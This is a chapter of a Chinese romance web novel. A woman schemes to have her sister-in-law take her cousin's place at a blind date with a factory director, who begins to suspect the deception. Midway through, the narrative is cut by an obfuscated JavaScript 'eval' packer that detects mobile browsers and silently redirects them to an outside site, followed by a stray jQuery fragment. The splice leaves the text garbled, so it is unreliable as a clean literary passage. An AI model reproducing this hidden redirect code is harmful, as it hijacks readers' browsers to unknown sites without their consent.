顾清华笑了笑,解释说:“你哥也说了,他家庭条件是好,可年纪也不小了,三十岁还带了两个孩子,你一个年轻小姑娘,要是不愿意就给推了。” “谁说我不愿意?!”孙燕回过神,忍不住的笑了起来。 一想到以后自己能做厂长夫人,别说两个孩子了,二十个她也不在意,反正陈家有钱,有孩子怕什么?请个阿姨也用不着她来管,只要能攀上高枝儿…… “可是他的性情,你哥说也不是什么好相处的,下面人都传他是冷面阎罗王,而且据说他之所以不结婚,是因为挂念死去的前妻,前妻死后,他脾气更差了,听说对女同志从来没有好脸色,说不定……说不定还有可能会打人。” 顾清华将丈夫的话事无巨细全传达到位,让她这个小姑子自己做决定,省的将来出了什么意外,赖到她这个大嫂头上。 孙燕想了想,坚决的抬起头:“那可是炼钢厂的厂长啊,听说这种领导住的都是单独的洋房,这筒子楼我住了二十年,我想要出去,就不会在意这些,只要他答应结婚,什么条件我都不在乎的。” 顾清华清楚小姑子心气高,也没有再劝,转而说了几句恭喜的话,把她哄得眉开眼笑。 “说起来,席组长那边怎么还没给消息,要不麻烦嫂子你打电话问问?” 孙燕向来没这么客气,可如今一想到嫂子给自己找了这么好一门亲事,免不了全是好脸色。 孙家住的筒子楼离街道办有些距离,顾清华找了个电话亭给那边打了过去。 “诶哟瞧我这个记性!” 电话那边,席巧云猛拍了一下脑袋,她就想着今天要陪陈勋庭去相亲,结果把孙燕的事儿给忘了。 席巧云解释完了以后,电话那边一阵窸窣声,随后,孙燕的声音响了起来。 “什么?没成?为什么?” 席巧云:“男方那边不同意,孙燕同志,这几天另外还有条件不错的男同志,你要是还想从我这儿找,回头再来一趟,还有些有照片的,可以让你看看。” “我不同意!”孙燕气的脸都绿了:“明明说好了的,怎么就没成呢?你得给我说明白!” 她连以后别人怎么喊她厂长夫人的画面都想好了,结果没成,这不是成心气她的吗?! 席巧云闻言皱了眉:“孙燕同志,现在是新时代了,就算是相亲,也是要两厢情愿才行,我也就是个中间人,人家男方说了不行,咱也不能逼着人家点头吧,你这话说的有点过分了,事前我可并没有保证过一定可以见面。” 孙燕眼眶红了:“那,那总要有个不成的原因吧。” 没看上呗,顾清华在旁边默默想。 可这话顾清华不能直说,只能抱着胳膊在旁边听热闹。 “原因就是人家觉得你跟他不合适,还有问题吗?” “……没,没了。” 厂长夫人的梦破灭,孙燕挂了电话后,刚才的喜悦全部消失,消沉的在旁边流眼泪。 顾清华安慰了几句,忽然又想起来沈晚月也要相亲,正要再拨回去,想了想席巧云刚才大概是生了孙燕的气,转而拨到了招待所。 “相亲时间定下来了吧?”顾清华张口就直接问。 沈建国那边应了一声,“定了,在今天。” “哟,这么快啊,那等见完面,婚事定下来以后,咱们约定的那份保证书……你们可别忘了给我写。” 沈建国:“没忘,等我妹的婚事订了,我们也能安心回家去,到时候跟你们不会再有联系了。” “一准能定下来,邹强那家庭条件就缺个女人,只要你妹子答应,他那儿肯定不会有问题。” 沈建国闻言皱了皱眉。 问题是,相亲对象根本不是邹强,而是那个大领导陈勋庭。 人家那样的家庭,也不知道是真是假,万一不成了,还得指着顾家给找对象。 沈建国想了想以后,犹豫着说:“不是邹强,你那边的媒人跟我们联系,说是换了个姓陈的……” “哥!” 沈立民在旁一边带孩子一边听着,闻言连忙扯住了沈建国的胳膊,给他使眼色别说那么多。 顾家可不盼着沈晚月的好,真有好的对象,怎么可能给自己姐说合。 沈建国心里一惊,也反应了过来。 这顾家上次来就没把话说全,还是得防着他们一点才行。 “姓陈?”顾清华已经听见了,心里同样一惊,吓得连忙追问:“陈什么?是干什么的?” 沈建国还没开口,沈立民已经将电话抢了过去,“……叫什么陈小牛吧好像,也是厂里工作的,还带了孩子,条件都差不多,也不知道能不能成,要是成了,我们再通知你哈。” 说完,沈立民挂断了电话。 顾清华愣在原地,心里泛起了嘀咕。 不可能吧? 不可能这么巧,而且陈厂长这样的大领导,怎么可能看上乡下来的沈晚月? 顾清华脑海中浮现出沈晚月那张勾人的脸蛋。 狐狸精! 她咒骂了一句,虽然不想承认,可又觉得凭借沈晚月那张脸也不是不可能。 毕竟自家弟弟这样优秀,当初不也是被这个小狐狸精给勾了魂! 那陈厂长也是男人,要是真见过沈晚月,怎么可能看得上孙燕这种平平无奇的长相。 “嫂子你刚说啥,什么陈?”孙燕回过神,抹了抹眼泪问。 顾清华脑子这会儿跟浆糊一样。 不过她却有一点想得很明白。 如果这个人真是陈厂长,那便宜了孙燕,也不能便宜了沈晚月这个小狐狸精。 顾清华转了转眼珠子,抓住了小姑子的手,“燕子,嫂子帮你冒次险,你要是将来真的嫁给了厂长,可别忘了嫂子的情义。” “……啊?咋了?” 顾清华将自己的怀疑说了一遍,谁知道孙燕反而还生了气。 孙燕:“你表妹重要还是我重要?!那天要不是你非得把她的资料也报上去,说不定陈厂长已经准备跟我见面了!” 顾清华叹了口气:“这不是也是猜测吗,我再给那边打个电话问问……算了,咱俩还是去一趟街道办。” 心里装着事儿,走的也快,没一会儿俩人就到了街道办。 “来了。”席巧云打量了一眼孙燕,脸色不善,“这次又是为了你小姑子吧。” “巧云姐。” 顾清华摇摇头:“我是为着我表妹来的,我表妹说……咳咳,我表妹说你第二次介绍的这个陈同志她不想见了。” 席巧云一怔,直接站了起来:“为什么?!不是已经说好了今天下午就见面的吗,我侄……男方都把工作推迟了等着见面,怎么说不同意就不同意了?” 顾清华擦了擦汗,陪着笑:“我表妹的说她自己是小地方来的,怕男方条件太好了看不上她,还不如见一开始的邹强呢,她年纪小不懂事儿,我来替表妹跟姐你道个歉。” “……” 席巧云心情立刻降到了谷底。 家里为了陈勋庭相亲的事儿都十分高兴,谁知道临到头了,人家又不同意了。 席巧云着急的问:“能不能再跟你表妹说说,这男方条件虽然好,可人家是真心实意想见个面,这见个面也没什么,就当是去吃顿饭了呗。” 看席巧云承认了男方条件好,顾清华心里有了盘算。 来之前的路上,她就跟孙燕商量好了。 不管这个姓陈的陈小牛到底是不是陈厂长,就算是碰运气,也得让席巧云答应让孙燕代替沈晚月去见见面。 到时候如果真是陈厂长就皆大欢喜,如果不是,孙燕回来说没看上就行了,也不吃亏。 顾清华将孙燕推到前面:“我表妹性子倔,说不行就没商量了,巧云姐,你看这样行不行,我小姑子也没啥事儿,你要是不好跟男方交代,就让我小姑子代替沈晚月去见面。” “这……这不合适吧。” “合适,怎么不合适了,我看说不定还能凑合一段姻缘呢。” “……” 席巧云沉默的打量着眼前的孙燕,好半天没说出话来。 - “中午之前肯定能赶回家,厂长您放心。” “小心开你的车。” “诶!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14208107|151043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 省道上,一辆低调的黑色轿车慢慢加快了行驶速度。 小王也是才知道厂长竟然要去相亲的事情,他是打心底里为厂长高兴。 别看厂长前几天刚罚了他抄书,可他知道,厂长这也是为了自己好,厂长都三十岁了,心里只有工作,这要是找个媳妇儿,也能让厂长每天别那么紧绷。 这短短一个多月的相处,小王是真觉得厂长辛苦。 陈勋庭则没有小王那么着急。 去苏市出差不是临时决定的,他来前算好了时间,绝对可以赶上……跟沈晚月的相亲。 果然,在一点左右,轿车稳稳的停在了彩灯巷街道办。 当时电话里说好的,得先接上他二婶儿席巧云一块过去。 陈勋庭一进门就看见席巧云脸色很差的叹气,问清楚以后,反问了回去:“换相亲对象是什么意思?” 席巧云试着劝他:“我知道你没看上这个孙燕,可男女相处需要的是了解,你可以试着了解一下,说不定……” “二婶儿。”陈勋庭态度很认真:“我说的是答应跟沈晚月同志相亲。” “……我知道勋庭,但这不是有意外,唉,这女同志真是的,临时改主意,大家都弄得措手不及。” 席巧云说着说着,回过味儿来。 陈勋庭的意思,应该是他答应的不是相亲,而是答应的跟沈晚月同志的相亲。 也就是说,别的人他不会考虑。 正如席巧云所想,陈勋庭已经抬脚准备离开了:“她也许是有别的打算,既然这样,相亲的事儿就到此为止吧。” “等等勋庭,你再考虑考虑,你想想前几天家里为你这事儿都高兴的不得了,你好歹往前迈一步,总不能一直不结婚让家里……” “二婶儿。” 陈勋庭打断了席巧云的话,语气淡淡,眼神里带着几分不悦。 他不高兴了。 因为席巧云过分的越界才不高兴,绝不是因为……沈晚月的失约。 这次相亲本就是他一时兴起,并非强求。 如今失约,他也正好省去一事,免得还要推掉一下午的工作时间,现在回去,正好还能赶上给厂里开学习大会。 能多工作半天,正合他意。 就到此为止也好。 陈勋庭:“催我结婚是你们的事情,结不结是我的选择,爷爷奶奶那边我会去说,这些麻烦二婶儿了。” 言罢,陈勋庭便转过身,挺拔的脊背像是一面山峰,硬/直且看起来毫无趣味。 瞧着就是一副无欲无求,一辈子单身的状态。 席巧云被他那一眼看得心里发冷,回过神后,唉声叹气的点了头。 “唉,我知道了,早知道今天沈晚月同志那个表姐过来的时候,就直接拒绝她了。” “……” 走到门口的陈勋庭脚下顿住。 “表姐?” 席巧云嗯了一声,“就沈晚月同志的亲戚,顾家的人,她来跟我说的这事儿。” 陈勋庭很快想到了什么,带着寒意的目光落在电话上。 “麻烦二婶儿打去招待所再确认一下,顾家人的话不可信。” 说完,陈勋庭跟席巧云都愣了半秒。 陈勋庭……他还真是用了心。 他是真的想接受跟沈晚月的相亲,不然怎么会席巧云都忽略的地方,让她再去确认一遍呢。 陈勋庭自己则很快想明白了。 他不想因为外力,做一个失约的人。 万一真是顾家人信口胡诌,那到时候沈晚月不是要自己一个人在茶楼等上一个下午? 他可以拒绝相亲,但并不想失约。 “你这么一说我觉得还真有可能不对劲儿,我都差点忘了,上次电话里,沈家的人不就说顾家的人说话没说全吗,我现在打过去再确认一下。” 很快,电话拨过去。 一阵忙音后,接的人是招待所的老板。 “203是吗?203好像出去了,这会儿不在。” 席巧云:“……” 陈勋庭听完,皱了皱眉后,准备说还是算了。 两个人相遇本就是那一点微不足道的缘分,如今没了缘分,连打个电话都这么困难。 还是工作靠谱点。 可惜,工作狂魔陈厂长的话还没说出来,电话便奇迹一样又响了。 “喂?云姨吗?我是胜利啊,我堂哥在不在,让他接个电话。” “喂,是大哥吧,我就知道你在街道办,哥,你猜我现在跟谁在一起?” 陈勋庭眉头跳动了一下,忍着骂人的冲动,压下脾气:“你说。” 陈胜利的语气中带着抑不住的兴奋:“你肯定猜不到!我跟嫂子在一起呢!” 陈勋庭:“……” 陈勋庭:“?”